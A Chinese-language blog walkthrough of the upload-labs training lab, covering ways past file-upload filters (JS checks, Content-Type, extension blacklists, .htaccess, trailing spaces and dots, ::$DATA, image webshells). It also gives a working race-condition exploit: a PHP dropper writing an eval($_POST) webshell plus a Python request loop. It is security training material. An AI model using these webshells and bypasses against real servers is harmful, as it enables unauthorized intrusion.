upload-labs

方法总结

  1. 尝试普通的php,查看会不会有提示

  2. 禁用前端js

  3. 尝试大小写绕过

  4. 尝试空格绕过

  5. 尝试修改Content-Type

  6. php3,4,5

  7. 上传.htacess文件

  8. 添加空格绕过

    pass-07

  9. 最后添加一个点

    pass08

  10. 双写绕过

    .pphphp

  11. 熔断截取

  12. 测试多个后缀

    比如apache 的解析漏洞,不认识rar就可以构造成为

    1
    getshell.php.rar

pass-01

0x00

我先上传了一张正常的.png

image-20231122233521619

0x01

尝试上传一个php,出现了这个

image-20231122233604386

0x02

尝试修改后缀绕过

也不行

0x03

检查源代码

image-20231122235914606

很明显的js前端验证,直接禁用,然后上传php

image-20231123000101564

0x04

docker逃逸

宸极实验室—『杂项』Docker 逃逸方法汇总 - 知乎 (zhihu.com)

0x05

还有一种发现js前端验证的方法

当上传php的时候发现,使用bs抓包并没有数据包

pass-02

0x00

查看能上传什么文件

image-20231123000548098

这次没有提醒,但是bs有数据包,说明是都断验证

0x01

尝试修改文件类型 Content-Type

image-20231123000909053

发现这个上传成功

image-20231123001019125

image-20231123001054988

pass-03

0x00

先上传一个shell看什么情况

image-20231123001156404

0x01

根据他的提示这个是黑名单

我们上传php5,php3之类的就能上传

image-20231123010051867

这道题会改变名字,连接的时候注意一下

image-20231123010337749

pass-04

0x01 尝试上传php

image-20231123161425891

文件不允许上传

然后bs里也发现了包,说明不是前端限制

0x02 尝试上传.htacess文件

image-20231123162806870

image-20231123162834849

可以上传

0x03上传图片马

image-20231123163004227

image-20231123163150430

上传成功

0x04连接shell

image-20231123163225277

pass-05

0x01 普通的php已经上传不了了

image-20231123170107194

可以尝试使用空格绕过

0x02成功绕过

image-20231123170151670

0x03

但是这里有一个大坑,注意空格绕过只针对win,所以这个上传完过后只能在win之下连接成功

image-20231123173123028

如果是使用docker搭建的,那么他的后缀会变成.之前的php也会消失

pass-06

0x01

这个是大小写绕过

image-20231123173457352

pass-07

0x01

查看源码

image-20231123190337686

发现没有首位去空

0x02

上传.php 注意后面有一个空格

image-20231123191238865

上传成功

pass-08

0x01 查看源码

image-20231123194452461

缺少去除.

0x02

添加点

image-20231123194707852

上传成功

pass-09

0x01

还是源码分析

image-20231123195738655

发现没有对windows流特性进行处理

0x02

添加流

image-20231123200038987

然后发现使用带::$data的不能连接,所以,我们去掉后连接

image-20231123200140606

pass-10

0x01

使用. . 绕过

image-20231123201157552

image-20231123201149235

pass-11

0x01\

我先上传了一个普通的getshell.php

发现上传成功

image-20231125145320168

0x02

但是分析上传后,发现文件类型没了

尝试双写后最

image-20231125145629243

成功上传,尝试连接

image-20231125145736113

pass-12

pass-13

pass-14

0x01

根据提示,发现了文件包含漏洞

但是这个需要3种后后缀名都需要上传成功

注意上传图片马,不是将php后缀改成图片后缀文件

JPG

0x01

上传图片马,然后连接

image-20231125153013784

image-20231125153023178

PNG

同理上传图片马

image-20231125155347138

GIF

0x01

这个地方有点坑,小心gif的非法字符

0x02

然后和之前的差不多了,直接上传后连接就行了

pass-15

JPG

这道题的解决方法和上一道题的解决方法是一样的

PNG

0x01

直接使用图片马

0x02

image-20231125191600052

GIF

同理,就不重复解释了

pass-16

还是一道图片马的题

pass-17

GIF

我这里直接上传gif之后就成功了,但是网上还有二次渲染啥的

下面是我使用的图片

1

pass-18

这个到体做起来就比较有压力了

0x01

这个是运用了竞争条件,简单的来说就是我们运行了将要删除的php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){ //这个是真实上传到服务器上面
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

由于会比较后面删除php文件所以我们可以尝试一直访问连接,知道访问成功

下面的php文件用于上传

1
2
<?php fputs(fopen('Tony.php','w'),''<?php @eval($_POST["value"])?>');?>

下面是用于创建访问的python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# from re import L
from matplotlib.pyplot import flag
from numpy import arange
import requests
from threading import Thread, Lock
import sys


flag=False

lock=Lock()

def send_request(url):
lock.acquire()
global flag
lock.release()
i=0
while not flag:
r = requests.get(url)
# print(r.status_code)
if r.status_code == 200:
print("ok")
print(i)
lock.acquire()
flag=True
lock.release()



def main():
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <url>")
sys.exit(1)
for _ in range(4):
t = Thread(target=send_request, args=(sys.argv[1],))
t.start()
t.join()

if __name__ == "__main__":
main()

但是我一直没有访问成功

0x02

在写完上面的文章之后,我仔细回想了一下问题,能上传upload.php,也能访问到,那么就是upload.php的问题

下面是upload.php

1
2
3
4
5
<?php
fputs(fopen('getshell.php', 'w'), '<?php @eval($_POST["value"])?>');

?>

为什么之前的那个不正常。那就请读到这篇文章的同学仔细想想,看看

为了简化,我也将python脚本进行了删减

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from re import L
from matplotlib.pyplot import flag
from numpy import arange
import requests
from threading import Thread, Lock
import sys


# flag=False

# lock=Lock()

def send_request(url):
# lock.acquire()
# global flag
# lock.release()
# i=0
while True:
r = requests.get(url)
# print(r.status_code)
if r.status_code == 200:
print("ok")
break
# print(i)
# lock.acquire()
# flag=True
# lock.release()

send_request("http://192.168.157.166/uploadlabs/upload/upload.php")



# def main():
# if len(sys.argv) != 2:
# print(f"Usage: {sys.argv[0]} <url>")
# sys.exit(1)
# for _ in range(4):
# t = Thread(target=send_request, args=(sys.argv[1],))
# t.start()
# t.join()

# if __name__ == "__main__":
# main()

然后就能上传成功了

image-20231127100004214

pass-19

这道题好像有点问题

pass-20

0x01

这个道题没有对上传的文件做限制,但是需要对修改的名字做限制了

这道题的话,可以理解为使用后缀名绕过

0x02

直接使用修改为php文件是不给过的

使用大小写绕过

image-20231127103501092

能上传,尝试链接

image-20231127103535410

发现不能上传

看一下upload文件夹里面的东西是什么情况


upload-labs
https://tsy244.github.io/2023/11/22/靶场记录/upload-labs/
Author
August Rosenberg
Posted on
November 22, 2023
Licensed under